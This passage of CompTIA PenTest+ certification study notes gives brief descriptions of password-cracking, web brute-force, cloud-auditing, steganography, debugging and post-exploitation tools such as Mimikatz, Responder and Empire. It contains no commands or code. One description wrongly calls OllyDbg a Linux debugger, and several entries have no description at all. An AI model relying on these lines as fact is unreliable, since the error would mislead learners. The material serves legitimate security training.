(PT0-002) Study Notes
o Hydra
▪ A parallel brute-force tool that also supports a pw-inspect module to only
attempt passwords from a dictionary that meets the minimum password
requirements for a given system
o CeWL
▪ Used to generate word lists based on the automatic crawling of a website
to collect words and metadata from the site
o Cain
▪ A legacy password cracking and hash dumping that can conduct network
sniffing to identify hashes that may be vulnerable to cracking
o Mimikatz
▪ A tool that gathers credentials by extracting key elements from the
memory of a system such as cleartext passwords, hashes, and PIN codes
● Pass-the-hash
● Pass-the-ticket
● Golden ticket
o Patator
▪ A multi-purpose brute-force tool that that supports several different
methods, including ftp, ssh, smb, vnc, and zip password cracking
o DirBuster
▪ A brute-force tool run against a web application or server to identify
unlisted directories and file names that may be accessed
- 227 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Burp Suite
▪ Used in raw traffic interception, inspection, and modification during
automated testing, manual request modification, and passive web
application analysis
o Gobuster
▪ A brute-force dictionary, file, and DNS identification tool used to identify
unlisted resources in a web application
● Cloud Tools
- 228 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Cloud Tools
▪ Used to identify and exploit vulnerabilities in SaaS, PaaS, and IaaS cloud-
based services
o ScoutSuite
▪ An open-source tool written in Python that can be used to audit instances
and policies created on multicloud platforms by collecting data using API
calls
o CloudBrute
▪ Used to find a target’s infrastructure, files, and apps across the top cloud
service providers, including Amazon, Google, Microsoft, DigitalOcean,
Alibaba, Vultr, and Linode
o Pacu
▪ An exploitation framework used to assess the security configuration of an
Amazon Web Services (AWS) account
o Cloud Custodian
▪ An open-source cloud security, governance, and management tool
designed to help admins create policies based on
different resource types
● Steganography Tools
- 229 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Steganography Tools
▪ Used to hide and conceal information, communication, and activity in
plain sight
o OpenStego
▪ A free steganography solution to conduct data hiding within a file and
watermarking of files with invisible signatures to detect unauthorized file
copying
o Steghide
▪ An open-source steganography tool used to conceal a payload by
compressing, concealing, and encrypting its data in an image or audio file
o Snow
▪ A command-line steganography tool that conceals a payload within the
whitespace of an ASCII formatted text file in plaintext or encrypted
format
o Coagula
▪ An image synthesizer tool that can be used to create a sound file (.wav)
from a given image
o Sonic Visualiser
▪ An open-source application for viewing and analyzing the contents of
music audio files
o TinEye
- 230 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Metagoofil
▪ A Python-based tool that can search for metadata from public documents
located on a target’s website
● Debuggers
o Debugging Tools
▪ Used to decompile executables and observe their behavior
o OllyDbg
▪ A Linux debugger that can be used to analyze binary code found in 32-bit
Windows applications
o Immunity Debugger
▪ A debugger built specifically for penetration testers to write exploits,
analyze malware, and reverse engineer binary files using Python scripts
and APIs
o WinDbg
- 231 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Covenant
▪ An open-source .NET framework focused on penetration testing that also
has a development and debugging component
o SearchSploit
▪ A tool used to find exploits available in the Exploit-DB
● Miscellaneous Tools
o Miscellaneous Tools
▪ Tools that don’t fit well into one of the other categories
o SearchSploit
▪ A tool used to find exploits available in the Exploit-DB
o PowerSploit
▪ A collection of PowerShell modules that create an extensive exploitation
framework for use against Windows systems
o Responder
▪ A command-line tool in Kali Linux that is used to poison NetBIOS, LLMNR,
and MDNS name resolution requests
o Impacket Tools
- 232 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Empire
▪ A C2 framework that uses PowerShell for common post-exploitation tasks
on Windows systems and Python for post-exploitation tasks
on Linux systems
o Metasploit
▪ A multi-purpose computer security and penetration testing framework
that uses modularized attacks against known software vulnerabilities to
exploit systems
o mitm6
▪ An IPv6 DNS hijacking tool that attempts to set the malicious actor as the
DNS server by replying to DHCPv6 messages and then redirecting the
victim to another malicious host
o CrackMapExec
▪ A post-exploitation tool to identify vulnerabilities in Active Directory
environments
o TruffleHog
▪ A Git secrets search tool that automatically crawls through a repository
looking for accidental commits of secrets to the Git repository
o Censys
▪ A website search engine used for finding hosts and networks across the
Internet with data about their configuration
Conclusion
- 233 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● You can take the exam at any PearsonVue testing center worldwide at any local testing
center
● If you would like to save 10% or more on your exam voucher, please visit
diontraining.com/vouchers to purchase your official exam voucher at a discount
- 234 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0